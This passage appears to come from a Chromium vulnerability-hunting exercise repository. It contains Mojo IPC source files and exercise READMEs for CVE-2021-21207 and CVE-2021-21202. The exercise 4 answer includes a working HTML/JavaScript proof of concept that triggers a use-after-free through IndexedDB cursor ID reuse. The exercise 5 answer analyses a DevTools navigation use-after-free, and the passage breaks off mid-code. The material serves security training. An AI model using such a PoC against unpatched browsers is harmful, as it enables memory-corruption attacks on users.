std::max(additional_payload_size, kMinimumPayloadBufferSize),\n        dispatchers.data(), num_handles, &channel_message, &header_,\n        &header_size_, &user_payload_);\n    if (num_handles > 0) {\n      Core::Get()->ReleaseDispatchersForTransit(dispatchers,\n                                                rv == MOJO_RESULT_OK);\n    }\n    if (rv != MOJO_RESULT_OK)\n      return MOJO_RESULT_ABORTED;\n\n    user_payload_size_ = additional_payload_size;\n    channel_message_ = std::move(channel_message);\n    has_serialized_handles_ = true;\n  } else {\n    // Extend the existing message payload.\n\n    // In order to avoid rather expensive message resizing on every handle\n    // attachment operation, we merely lock and prepare the handle for transit\n    // here, deferring serialization until |CommitSize()|.\n    std::copy(dispatchers.begin(), dispatchers.end(),\n              std::back_inserter(pending_handle_attachments_));\n\n    if (additional_payload_size) {\n      size_t header_offset =\n          static_cast<uint8_t*>(header_) -\n          static_cast<const uint8_t*>(channel_message_->payload());\n      size_t user_payload_offset =\n          static_cast<uint8_t*>(user_payload_) -\n          static_cast<const uint8_t*>(channel_message_->payload());\n      channel_message_->ExtendPayload(user_payload_offset + user_payload_size_ +\n                                      additional_payload_size);\n      header_ = static_cast<uint8_t*>(channel_message_->mutable_payload()) +\n                header_offset;\n      user_payload_ =\n          static_cast<uint8_t*>(channel_message_->mutable_payload()) +\n          user_payload_offset;\n      user_payload_size_ += additional_payload_size;\n    }\n  }\n\n  if (!unlimited_size_ &&\n      user_payload_size_ > GetConfiguration().max_message_num_bytes) {\n    // We want to be aware of new undocumented cases of very large IPCs. Crashes\n    // which result from this stack should be addressed by either marking the\n    // corresponding mojom interface method with an [UnlimitedSize] attribute;\n    // or preferably by refactoring to avoid such large message contents, for\n    // example by batching calls or leveraging shared memory where feasible.\n    base::debug::DumpWithoutCrashing();\n  }\n\n  return MOJO_RESULT_OK;\n}\n\nMojoResult UserMessageImpl::CommitSize() {\n  if (!IsSerialized())\n    return MOJO_RESULT_FAILED_PRECONDITION;\n\n  if (is_committed_)\n    return MOJO_RESULT_OK;\n\n  if (!pending_handle_attachments_.empty()) {\n    CreateOrExtendSerializedEventMessage(\n        message_event_, user_payload_size_, user_payload_size_,\n        pending_handle_attachments_.data(), pending_handle_attachments_.size(),\n        &channel_message_, &header_, &header_size_, &user_payload_);\n    Core::Get()->ReleaseDispatchersForTransit(pending_handle_attachments_,\n                                              true);\n    pending_handle_attachments_.clear();\n  }\n\n  is_committed_ = true;\n  return MOJO_RESULT_OK;\n}\n\nMojoResult UserMessageImpl::SerializeIfNecessary() {\n  if (IsSerialized())\n    return MOJO_RESULT_FAILED_PRECONDITION;\n\n  DCHECK(HasContext());\n  DCHECK(!has_serialized_handles_);\n  if (!context_serializer_)\n    return MOJO_RESULT_NOT_FOUND;\n\n  uintptr_t context = context_;\n  context_ = 0;\n  context_serializer_(reinterpret_cast<MojoMessageHandle>(message_event_),\n                      context);\n\n  if (context_destructor_)\n    context_destructor_(context);\n\n  has_serialized_handles_ = true;\n  return MOJO_RESULT_OK;\n}\n\nMojoResult UserMessageImpl::ExtractSerializedHandles(\n    ExtractBadHandlePolicy bad_handle_policy,\n    MojoHandle* handles) {\n  if (!IsSerialized())\n    return MOJO_RESULT_FAILED_PRECONDITION;\n\n  if (!has_serialized_handles_)\n    return MOJO_RESULT_NOT_FOUND;\n\n  const MessageHeader* header = static_cast<const MessageHeader*>(header_);\n  const DispatcherHeader* dispatcher_headers =\n      reinterpret_cast<const DispatcherHeader*>(header + 1);\n\n  if (header->num_dispatchers > std::numeric_limits<uint16_t>::max())\n    return MOJO_RESULT_ABORTED;\n\n  if (header->num_dispatchers == 0)\n    return MOJO_RESULT_OK;\n\n  has_serialized_handles_ = false;\n\n  std::vector<Dispatcher::DispatcherInTransit> dispatchers(\n      header->num_dispatchers);\n\n  size_t data_payload_index =\n      sizeof(MessageHeader) +\n      header->num_dispatchers * sizeof(DispatcherHeader);\n  if (data_payload_index > header->header_size)\n    return MOJO_RESULT_ABORTED;\n  const char* dispatcher_data = reinterpret_cast<const char*>(\n      dispatcher_headers + header->num_dispatchers);\n  size_t port_index = 0;\n  size_t platform_handle_index = 0;\n  std::vector<PlatformHandleInTransit> handles_in_transit =\n      channel_message_->TakeHandles();\n  std::vector<PlatformHandle> msg_handles(handles_in_transit.size());\n  for (size_t i = 0; i < handles_in_transit.size(); ++i) {\n    DCHECK(!handles_in_transit[i].owning_process().IsValid());\n    msg_handles[i] = handles_in_transit[i].TakeHandle();\n  }\n  for (size_t i = 0; i < header->num_dispatchers; ++i) {\n    const DispatcherHeader& dh = dispatcher_headers[i];\n    auto type = static_cast<Dispatcher::Type>(dh.type);\n\n    base::CheckedNumeric<size_t> next_payload_index = data_payload_index;\n    next_payload_index += dh.num_bytes;\n    if (!next_payload_index.IsValid() ||\n        header->header_size < next_payload_index.ValueOrDie()) {\n      return MOJO_RESULT_ABORTED;\n    }\n\n    base::CheckedNumeric<size_t> next_port_index = port_index;\n    next_port_index += dh.num_ports;\n    if (!next_port_index.IsValid() ||\n        message_event_->num_ports() < next_port_index.ValueOrDie()) {\n      return MOJO_RESULT_ABORTED;\n    }\n\n    base::CheckedNumeric<size_t> next_platform_handle_index =\n        platform_handle_index;\n    next_platform_handle_index += dh.num_platform_handles;\n    if (!next_platform_handle_index.IsValid() ||\n        msg_handles.size() < next_platform_handle_index.ValueOrDie()) {\n      return MOJO_RESULT_ABORTED;\n    }\n\n    PlatformHandle* out_handles =\n        !msg_handles.empty() ? msg_handles.data() + platform_handle_index\n                             : nullptr;\n    dispatchers[i].dispatcher = Dispatcher::Deserialize(\n        type, dispatcher_data, dh.num_bytes,\n        message_event_->ports() + port_index, dh.num_ports, out_handles,\n        dh.num_platform_handles);\n    if (!dispatchers[i].dispatcher &&\n        bad_handle_policy == ExtractBadHandlePolicy::kAbort) {\n      return MOJO_RESULT_ABORTED;\n    }\n\n    dispatcher_data += dh.num_bytes;\n    data_payload_index = next_payload_index.ValueOrDie();\n    port_index = next_port_index.ValueOrDie();\n    platform_handle_index = next_platform_handle_index.ValueOrDie();\n  }\n\n  if (!Core::Get()->AddDispatchersFromTransit(dispatchers, handles))\n    return MOJO_RESULT_ABORTED;\n\n  return MOJO_RESULT_OK;\n}\n\n// static\nvoid UserMessageImpl::FailHandleSerializationForTesting(bool fail) {\n  g_always_fail_handle_serialization = fail;\n}\n\nUserMessageImpl::UserMessageImpl(ports::UserMessageEvent* message_event,\n                                 MojoCreateMessageFlags flags)\n    : ports::UserMessage(&kUserMessageTypeInfo),\n      message_event_(message_event),\n      unlimited_size_((flags & MOJO_CREATE_MESSAGE_FLAG_UNLIMITED_SIZE) != 0) {\n  EnsureMemoryDumpProviderExists();\n  IncrementMessageCount();\n}\n\nUserMessageImpl::UserMessageImpl(ports::UserMessageEvent* message_event,\n                                 Channel::MessagePtr channel_message,\n                                 void* header,\n                                 size_t header_size,\n                                 void* user_payload,\n                                 size_t user_payload_size)\n    : ports::UserMessage(&kUserMessageTypeInfo),\n      message_event_(message_event),\n      channel_message_(std::move(channel_message)),\n      has_serialized_handles_(true),\n      is_committed_(true),\n      header_(header),\n      header_size_(header_size),\n      user_payload_(user_payload),\n      user_payload_size_(user_payload_size) {\n  EnsureMemoryDumpProviderExists();\n  IncrementMessageCount();\n}\n\nbool UserMessageImpl::WillBeRoutedExternally() {\n  MojoResult result = SerializeIfNecessary();\n  return result == MOJO_RESULT_OK || result == MOJO_RESULT_FAILED_PRECONDITION;\n}\n\nsize_t UserMessageImpl::GetSizeIfSerialized() const {\n  if (!IsSerialized())\n    return 0;\n  return user_payload_size_;\n}\n\n}  // namespace core\n}  // namespace mojo\n"
  },
  {
    "path": "LEVEL_3/exercise_4/README.md",
    "content": "# Exercise 4\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21207\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1185732\n\n</details>\n\n--------\n\n### Set environment\n\nafter fetch chromium\n```sh\ngit reset --hard 86a37b3c8fdc47b0ba932644fd61bbc791c82357\n```\n\n\n\n### Related code\n\nmojo/public/cpp/bindings/receiver_set.h\n\nread this [doc](https://chromium.googlesource.com/chromium/src/+/668cf831e91210d4f23e815e07ff1421f3ee9747/mojo/public/cpp/bindings#Receiver-Sets) get info about Receiver Sets\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  This function only checks whether the ID is equal to 0, but does not judge whether the ID is reused.so if the has same id inset to container,will free the previous.\n  ```c++  \n  ReceiverId AddImpl(ImplPointerType impl,\n                     PendingType receiver,\n                     Context context,\n                     scoped_refptr<base::SequencedTaskRunner> task_runner) {\n    DCHECK(receiver.is_valid());\n    ReceiverId id = next_receiver_id_++;\n    DCHECK_GE(next_receiver_id_, 0u);\n    auto entry =\n        std::make_unique<Entry>(std::move(impl), std::move(receiver), this, id,\n                                std::move(context), std::move(task_runner));\n    receivers_.insert(std::make_pair(id, std::move(entry)));\n    return id;\n  }\n  ```\n  If we add id to maxsize,then extra add 1,will overflow.Insert same id ,will free previous , then we can use the freed pointer ,cause UAF.\n  ```c++\n  namespace mojo {\n\n  using ReceiverId = size_t;\n\n  template <typename ReceiverType>\n  struct ReceiverSetTraits;\n  ```\n  Where can cause UAF? the poc  use cursor_impl pointer , cursor_impl_ptr->OnRemoveBinding\n  ```c++\n  mojo::PendingAssociatedRemote<blink::mojom::IDBCursor>\nIndexedDBDispatcherHost::CreateCursorBinding(\n    const url::Origin& origin,\n    std::unique_ptr<IndexedDBCursor> cursor) {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n  auto cursor_impl = std::make_unique<CursorImpl>(std::move(cursor), origin,\n                                                  this, IDBTaskRunner());\n  auto* cursor_impl_ptr = cursor_impl.get();\n  mojo::PendingAssociatedRemote<blink::mojom::IDBCursor> remote;\n  mojo::ReceiverId receiver_id = cursor_receivers_.Add(\n      std::move(cursor_impl), remote.InitWithNewEndpointAndPassReceiver());\n  cursor_impl_ptr->OnRemoveBinding(\n      base::BindOnce(&IndexedDBDispatcherHost::RemoveCursorBinding,\n                     weak_factory_.GetWeakPtr(), receiver_id));\n  return remote;\n}\n  ```\n**POC**\n```html\n<html>\n    <script>\n            var db;\n            var first = 1;\n            const indexedDB = window.indexedDB || window.webkitIndexedDB ||  window.mozIndexedDB;\n            const request = indexedDB.open(\"aaa\", 2);\n            request.onsuccess = (e) => {\n                db = e.target.result;\n                console.log(\"success\");\n            };\n            request.onupgradeneeded = (e) => {\n                console.log(\"upgrade\");\n                db = e.target.result;\n                if(!this.db.objectStoreNames.contains(\"dd2\")){\n                    this.store = this.db.createObjectStore(\"dd2\", { keyPath: 'key'});\n                }\n            }\n            request.onerror = (e) => {console.log('Can not open indexedDB', e);};\n            const sleep = (timeountMS) => new Promise((resolve) => {\n                setTimeout(resolve, timeountMS);\n            });\n            async function f(){\n                console.log(\"in f\")\n                if(first==1){\n                    first = 0;\n                    await sleep(10000);\n                    a = db.transaction([\"dd2\"],'readwrite');\n                    b = a.objectStore(\"dd2\");\n                    c = b.openCursor();\n                }\n                var transaction = db.transaction([\"dd2\"],'readwrite');\n                var objectstore = transaction.objectStore(\"dd2\");\n                objectstore.add({\"key\":1});\n                for(var i =0;i<0x500;i++) {\n                    var a1 = objectstore.openCursor(); //1\n                }\n            }\n            var a;\n            var b;\n            var c; // c will hold cursor which id = 0\n            f();\n            for (var i =0 ;i<1000;i++){\n                setTimeout(f,10000+1000*i)//when function f end,0x500 cursor in receivers_ will be removed to avoid oom\n            }\n\n\n    </script>\n</html>\n```\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_4/receiver_set.h",
    "content": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_\n#define MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_\n\n#include <map>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include \"base/bind.h\"\n#include \"base/callback.h\"\n#include \"base/macros.h\"\n#include \"base/memory/ptr_util.h\"\n#include \"base/stl_util.h\"\n#include \"mojo/public/cpp/bindings/connection_error_callback.h\"\n#include \"mojo/public/cpp/bindings/message.h\"\n#include \"mojo/public/cpp/bindings/pending_receiver.h\"\n#include \"mojo/public/cpp/bindings/receiver.h\"\n#include \"mojo/public/cpp/bindings/remote.h\"\n#include \"mojo/public/cpp/bindings/unique_ptr_impl_ref_traits.h\"\n\nnamespace mojo {\n\nusing ReceiverId = size_t;\n\ntemplate <typename ReceiverType>\nstruct ReceiverSetTraits;\n\ntemplate <typename Interface, typename ImplRefTraits>\nstruct ReceiverSetTraits<Receiver<Interface, ImplRefTraits>> {\n  using InterfaceType = Interface;\n  using PendingType = PendingReceiver<Interface>;\n  using ImplPointerType = typename ImplRefTraits::PointerType;\n};\n\ntemplate <typename ContextType>\nstruct ReceiverSetContextTraits {\n  using Type = ContextType;\n\n  static constexpr bool SupportsContext() { return true; }\n};\n\ntemplate <>\nstruct ReceiverSetContextTraits<void> {\n  // NOTE: This choice of Type only matters insofar as it affects the size of\n  // the |context_| field of a ReceiverSetBase::Entry with void context. The\n  // context value is never used in this case.\n  using Type = bool;\n\n  static constexpr bool SupportsContext() { return false; }\n};\n\n// Generic helper used to own a collection of Receiver endpoints. For\n// convenience this type automatically manages cleanup of receivers that have\n// been disconnected from their remote caller.\n//\n// Note that this type is not typically used directly by application. Instead,\n// prefer to use one of the various aliases (like ReceiverSet) that are based on\n// it.\n//\n// If |ContextType| is non-void, then every added receiver must include a\n// context value of that type (when calling |Add()|), and |current_context()|\n// will return that value during the extent of any message dispatch or\n// disconnection notification pertaining to that specific receiver.\n//\n// So for example if ContextType is |int| and we call:\n//\n//   Remote<mojom::Foo> foo1, foo2;\n//   ReceiverSet<mojom::Foo> receivers;\n//   // Assume |this| is an implementation of mojom::Foo...\n//   receivers.Add(this, foo1.BindNewReceiver(), 42);\n//   receivers.Add(this, foo2.BindNewReceiver(), 43);\n//\n//   foo1->DoSomething();\n//   foo2->DoSomething();\n//\n// We can expect two asynchronous calls to |this->DoSomething()|. If that\n// method looks at the value of |current_context()|, it will see a value of 42\n// while executing the call from |foo1| and a value of 43 while executing the\n// call from |foo2|.\n//\n// Finally, note that ContextType can be any type of thing, including move-only\n// objects like std::unique_ptrs.\ntemplate <typename ReceiverType, typename ContextType>\nclass ReceiverSetBase {\n public:\n  using Traits = ReceiverSetTraits<ReceiverType>;\n  using Interface = typename Traits::InterfaceType;\n  using PendingType = typename Traits::PendingType;\n  using ImplPointerType = typename Traits::ImplPointerType;\n  using ContextTraits = ReceiverSetContextTraits<ContextType>;\n  using Context = typename ContextTraits::Type;\n  using PreDispatchCallback = base::RepeatingCallback<void(const Context&)>;\n\n  ReceiverSetBase() = default;\n\n  // Sets a callback to be invoked any time a receiver in the set is\n  // disconnected. The callback is invoked *after* the receiver in question\n  // is removed from the set, and |current_context()| will correspond to the\n  // disconnected receiver's context value during the callback if the\n  // ContextType is not void.\n  void set_disconnect_handler(base::RepeatingClosure handler) {\n    disconnect_handler_ = std::move(handler);\n    disconnect_with_reason_handler_.Reset();\n  }\n\n  // Like above but also provides the reason given for disconnection, if any.\n  void set_disconnect_with_reason_handler(\n      RepeatingConnectionErrorWithReasonCallback handler) {\n    disconnect_with_reason_handler_ = std::move(handler);\n    disconnect_handler_.Reset();\n  }\n\n  // Adds a new receiver to the set, binding |receiver| to |impl| with no\n  // additional context. If |task_runner| is non-null, the receiver's messages\n  // will be dispatched to |impl| on that |task_runner|. |task_runner| must run\n  // messages on the same sequence that owns this ReceiverSetBase. If\n  // |task_runner| is null, the value of\n  // |base::SequencedTaskRunnerHandle::Get()| at the time of the |Add()| call\n  // will be used to run scheduled tasks for the receiver.\n  ReceiverId Add(\n      ImplPointerType impl,\n      PendingType receiver,\n      scoped_refptr<base::SequencedTaskRunner> task_runner = nullptr) {\n    static_assert(!ContextTraits::SupportsContext(),\n                  \"Context value required for non-void context type.\");\n    return AddImpl(std::move(impl), std::move(receiver), false,\n                   std::move(task_runner));\n  }\n\n  // Adds a new receiver associated with |context|. See above method for all\n  // other (identical) details.\n  ReceiverId Add(\n      ImplPointerType impl,\n      PendingType receiver,\n      Context context,\n      scoped_refptr<base::SequencedTaskRunner> task_runner = nullptr) {\n    static_assert(ContextTraits::SupportsContext(),\n                  \"Context value unsupported for void context type.\");\n    return AddImpl(std::move(impl), std::move(receiver), std::move(context),\n                   std::move(task_runner));\n  }\n\n  // Removes a receiver from the set. Note that this is safe to call even if the\n  // receiver corresponding to |id| has already been removed (will be a no-op).\n  //\n  // Returns |true| if the receiver was removed and |false| if it didn't exist.\n  //\n  // A removed receiver is effectively closed and its remote (if any) will be\n  // disconnected. No further messages or disconnection notifications will be\n  // scheduled or executed for the removed receiver.\n  bool Remove(ReceiverId id) {\n    auto it = receivers_.find(id);\n    if (it == receivers_.end())\n      return false;\n    receivers_.erase(it);\n    return true;\n  }\n\n  // Unbinds and takes all receivers in this set.\n  std::vector<PendingType> TakeReceivers() {\n    std::vector<PendingType> pending_receivers;\n    for (auto& it : receivers_) {\n      pending_receivers.push_back(it.second->Unbind());\n    }\n    receivers_.clear();\n    return pending_receivers;\n  }\n\n  // Removes all receivers from the set, effectively closing all of them. This\n  // ReceiverSet will not schedule or execute any further method invocations or\n  // disconnection notifications until a new receiver is added to the set.\n  void Clear() { receivers_.clear(); }\n\n  // Predicate to test if a receiver exists in the set.\n  //\n  // Returns |true| if the receiver is in the set and |false| if not.\n  bool HasReceiver(ReceiverId id) const {\n    return base::Contains(receivers_, id);\n  }\n\n  bool empty() const { return receivers_.empty(); }\n\n  size_t size() const { return receivers_.size(); }\n\n  // Implementations may call this when processing a received method call or\n  // disconnection notification. During the extent of method invocation or\n  // disconnection notification, this returns the context value associated with\n  // the specific receiver which received the method call or disconnection.\n  //\n  // Each receiver must be associated with a context value when it's added\n  // to the set by |Add()|, and this is only supported when ContextType is\n  // not void.\n  //\n  // NOTE: It is important to understand that this must only be called within\n  // the stack frame of an actual interface method invocation or disconnect\n  // notification scheduled by a receiver. It is a illegal to attempt to call\n  // this any other time (e.g., from another async task you post from within a\n  // message handler).\n  const Context& current_context() const {\n    static_assert(ContextTraits::SupportsContext(),\n                  \"current_context() requires non-void context type.\");\n    DCHECK(current_context_);\n    return *current_context_;\n  }\n\n  // Implementations may call this when processing a received method call or\n  // disconnection notification. See above note for constraints on usage.\n  // This returns the ReceiverId associated with the specific receiver which\n  // received the incoming method call or disconnection notification.\n  ReceiverId current_receiver() const {\n    DCHECK(current_context_);\n    return current_receiver_;\n  }\n\n  // Reports the currently dispatching Message as bad and removes the receiver\n  // which received it. Note that this is only legal to call from directly\n  // within the stack frame of an incoming method call. If you need to do\n  // asynchronous work before you can determine the legitimacy of a message, use\n  // GetBadMessageCallback() and retain its result until you're ready to invoke\n  // or discard it.\n  void ReportBadMessage(const std::string& error) {\n    GetBadMessageCallback().Run(error);\n  }\n\n  // Acquires a callback which may be run to report the currently dispatching\n  // Message as bad and remove the receiver which received it. Note that this\n  // this is only legal to call from directly within the stack frame of an\n  // incoming method call, but the returned callback may be called exactly once\n  // any time thereafter, as long as the ReceiverSetBase itself hasn't been\n  // destroyed yet. If the callback is invoked, it must be done from the same\n  // sequence which owns the ReceiverSetBase, and upon invocation it will report\n  // the corresponding message as bad.\n  ReportBadMessageCallback GetBadMessageCallback() {\n    DCHECK(current_context_);\n    return base::BindOnce(\n        [](ReportBadMessageCallback error_callback,\n           base::WeakPtr<ReceiverSetBase> receiver_set, ReceiverId receiver_id,\n           const std::string& error) {\n          std::move(error_callback).Run(error);\n          if (receiver_set)\n            receiver_set->Remove(receiver_id);\n        },\n        mojo::GetBadMessageCallback(), weak_ptr_factory_.GetWeakPtr(),\n        current_receiver());\n  }\n\n  void FlushForTesting() {\n    // We avoid flushing while iterating over |receivers_| because this set\n    // may be mutated during individual flush operations.  Instead, snapshot\n    // the ReceiverIds first, then iterate over them. This is less efficient,\n    // but it's only a testing API. This also allows for correct behavior in\n    // reentrant calls to FlushForTesting().\n    std::vector<ReceiverId> ids;\n    for (const auto& receiver : receivers_)\n      ids.push_back(receiver.first);\n\n    auto weak_self = weak_ptr_factory_.GetWeakPtr();\n    for (const auto& id : ids) {\n      if (!weak_self)\n        return;\n      auto it = receivers_.find(id);\n      if (it != receivers_.end())\n        it->second->FlushForTesting();\n    }\n  }\n\n  // Swaps the interface implementation with a different one, to allow tests\n  // to modify behavior.\n  //\n  // Returns the existing interface implementation to the caller.\n  ImplPointerType SwapImplForTesting(ReceiverId id, ImplPointerType new_impl) {\n    auto it = receivers_.find(id);\n    if (it == receivers_.end())\n      return nullptr;\n\n    return it->second->SwapImplForTesting(new_impl);\n  }\n\n private:\n  friend class Entry;\n\n  class Entry {\n   public:\n    Entry(ImplPointerType impl,\n          PendingType receiver,\n          ReceiverSetBase* receiver_set,\n          ReceiverId receiver_id,\n          Context context,\n          scoped_refptr<base::SequencedTaskRunner> task_runner)\n        : receiver_(std::move(impl),\n                    std::move(receiver),\n                    std::move(task_runner)),\n          receiver_set_(receiver_set),\n          receiver_id_(receiver_id),\n          context_(std::move(context)) {\n      receiver_.SetFilter(std::make_unique<DispatchFilter>(this));\n      receiver_.set_disconnect_with_reason_handler(\n          base::BindOnce(&Entry::OnDisconnect, base::Unretained(this)));\n    }\n\n    ImplPointerType SwapImplForTesting(ImplPointerType new_impl) {\n      return receiver_.SwapImplForTesting(new_impl);\n    }\n\n    void FlushForTesting() { receiver_.FlushForTesting(); }\n\n    PendingType Unbind() { return receiver_.Unbind(); }\n\n   private:\n    class DispatchFilter : public MessageFilter {\n     public:\n      explicit DispatchFilter(Entry* entry) : entry_(entry) {}\n      ~DispatchFilter() override {}\n\n     private:\n      // MessageFilter:\n      bool WillDispatch(Message* message) override {\n        entry_->WillDispatch();\n        return true;\n      }\n\n      void DidDispatchOrReject(Message* message, bool accepted) override {}\n\n      Entry* entry_;\n\n      DISALLOW_COPY_AND_ASSIGN(DispatchFilter);\n    };\n\n    void WillDispatch() {\n      receiver_set_->SetDispatchContext(&context_, receiver_id_);\n    }\n\n    void OnDisconnect(uint32_t custom_reason_code,\n                      const std::string& description) {\n      WillDispatch();\n      receiver_set_->OnDisconnect(receiver_id_, custom_reason_code,\n                                  description);\n    }\n\n    ReceiverType receiver_;\n    ReceiverSetBase* const receiver_set_;\n    const ReceiverId receiver_id_;\n    Context const context_;\n\n    DISALLOW_COPY_AND_ASSIGN(Entry);\n  };\n\n  void SetDispatchContext(const Context* context, ReceiverId receiver_id) {\n    current_context_ = context;\n    current_receiver_ = receiver_id;\n  }\n\n  ReceiverId AddImpl(ImplPointerType impl,\n                     PendingType receiver,\n                     Context context,\n                     scoped_refptr<base::SequencedTaskRunner> task_runner) {\n    DCHECK(receiver.is_valid());\n    ReceiverId id = next_receiver_id_++;\n    DCHECK_GE(next_receiver_id_, 0u);\n    auto entry =\n        std::make_unique<Entry>(std::move(impl), std::move(receiver), this, id,\n                                std::move(context), std::move(task_runner));\n    receivers_.insert(std::make_pair(id, std::move(entry)));\n    return id;\n  }\n\n  void OnDisconnect(ReceiverId id,\n                    uint32_t custom_reason_code,\n                    const std::string& description) {\n    auto it = receivers_.find(id);\n    DCHECK(it != receivers_.end());\n\n    // We keep the Entry alive throughout error dispatch.\n    std::unique_ptr<Entry> entry = std::move(it->second);\n    receivers_.erase(it);\n\n    if (disconnect_handler_)\n      disconnect_handler_.Run();\n    else if (disconnect_with_reason_handler_)\n      disconnect_with_reason_handler_.Run(custom_reason_code, description);\n  }\n\n  base::RepeatingClosure disconnect_handler_;\n  RepeatingConnectionErrorWithReasonCallback disconnect_with_reason_handler_;\n  ReceiverId next_receiver_id_ = 0;\n  std::map<ReceiverId, std::unique_ptr<Entry>> receivers_;\n  const Context* current_context_ = nullptr;\n  ReceiverId current_receiver_;\n  base::WeakPtrFactory<ReceiverSetBase> weak_ptr_factory_{this};\n\n  DISALLOW_COPY_AND_ASSIGN(ReceiverSetBase);\n};\n\n// Common helper for a set of Receivers which do not own their implementation.\ntemplate <typename Interface, typename ContextType = void>\nusing ReceiverSet = ReceiverSetBase<Receiver<Interface>, ContextType>;\n\n}  // namespace mojo\n\n#endif  // MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_\n"
  },
  {
    "path": "LEVEL_3/exercise_5/README.md",
    "content": "# Exercise 5\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21202\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1188889\n\n</details>\n\n--------\n\n### Set environment\n\nafter fetch chromium\n```sh\ngit reset --hard b84b5d13d0d013ad4a8c90f1ba4cd8509f9885bf\n```\n\n\n\n### Related code\n\ncontent/browser/devtools/protocol/page_handler.cc\n\n<!-- content/browser/devtools/render_frame_devtools_agent_host.cc -->\ntips: [`Page.navigate`](https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-navigate)\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  This vulnerability does not seem to be exploitable, so we briefly end this part.\n  >One of the methods available via the Chrome DevTools protocol is Page.navigate. That method allows the caller to navigate the target page to a specified URL.\n  >\n  >When an extension uses that method to navigate a crashed page to a restricted URL, the debugging session will be detached. However, that occurs in the middle of PageHandler::Navigate, resulting in the PageHandler object being deleted midway through the method.\n\n  >The reason that the session is detached is that the URL being navigated to is restricted (and therefore can't be debugged by an extension).\n  >\n  >That results in the PageHandler object being deleted (along with the other domain handlers) once LoadURLWithParams has finished executing.\n  \n  ```c++\nvoid PageHandler::Navigate(const std::string& url,\n                           Maybe<std::string> referrer,\n                           Maybe<std::string> maybe_transition_type,\n                           Maybe<std::string> frame_id,\n                           Maybe<std::string> referrer_policy,\n                           std::unique_ptr<NavigateCallback> callback) {\n  GURL gurl(url);\n  if (!gurl.is_valid()) {\n    callback->sendFailure(\n        Response::ServerError(\"Cannot navigate to invalid URL\"));\n    return;\n  }\n\n  if (!host_) {\n    callback->sendFailure(Response::InternalError());\n    return;\n  }\n\n  ui::PageTransition type;\n  std::string transition_type =\n      maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed);\n  if (transition_type == Page::TransitionTypeEnum::Link)\n    type = ui::PAGE_TRANSITION_LINK;\n  else if (transition_type == Page::TransitionTypeEnum::Typed)\n    type = ui::PAGE_TRANSITION_TYPED;\n  else if (transition_type == Page::TransitionTypeEnum::Address_bar)\n    type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark)\n    type = ui::PAGE_TRANSITION_AUTO_BOOKMARK;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_subframe)\n    type = ui::PAGE_TRANSITION_AUTO_SUBFRAME;\n  else if (transition_type == Page::TransitionTypeEnum::Manual_subframe)\n    type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME;\n  else if (transition_type == Page::TransitionTypeEnum::Generated)\n    type = ui::PAGE_TRANSITION_GENERATED;\n  else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel)\n    type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL;\n  else if (transition_type == Page::TransitionTypeEnum::Form_submit)\n    type = ui::PAGE_TRANSITION_FORM_SUBMIT;\n  else if (transition_type == Page::TransitionTypeEnum::Reload)\n    type = ui::PAGE_TRANSITION_RELOAD;\n  else if (transition_type == Page::TransitionTypeEnum::Keyword)\n    type = ui::PAGE_TRANSITION_KEYWORD;\n  else if (transition_type == Page::TransitionTypeEnum::Keyword_generated)\n    type = ui::PAGE_TRANSITION_KEYWORD_GENERATED;\n  else\n    type = ui::PAGE_TRANSITION_TYPED;\n\n  std::string out_frame_id = frame_id.fromMaybe(\n      host_->frame_tree_node()->devtools_frame_token().ToString());\n  FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken(\n      host_->frame_tree_node(), out_frame_id);\n\n  if (!frame_tree_node) {\n    callback->sendFailure(\n        Response::ServerError(\"No frame with given id found\"));\n    return;\n  }\n\n  NavigationController::LoadURLParams params(gurl);\n  network::mojom::ReferrerPolicy policy =\n      ParsePolicyFromString(referrer_policy.fromMaybe(\"\"));\n  params.referrer = Referrer(GURL(referrer.fromMaybe(\"\")), policy);\n  params.transition_type = type;\n  params.frame_tree_node_id = frame_tree_node->frame_tree_node_id();\n  frame_tree_node->navigator().controller().LoadURLWithParams(params);   [1]\n\n  if (frame_tree_node->navigation_request()) {\n    navigate_callbacks_[frame_tree_node->navigation_request()\n                            ->devtools_navigation_token()] =\n        std::move(callback);\n  } else {\n    callback->sendSuccess(out_frame_id, Maybe<std::string>(),\n                          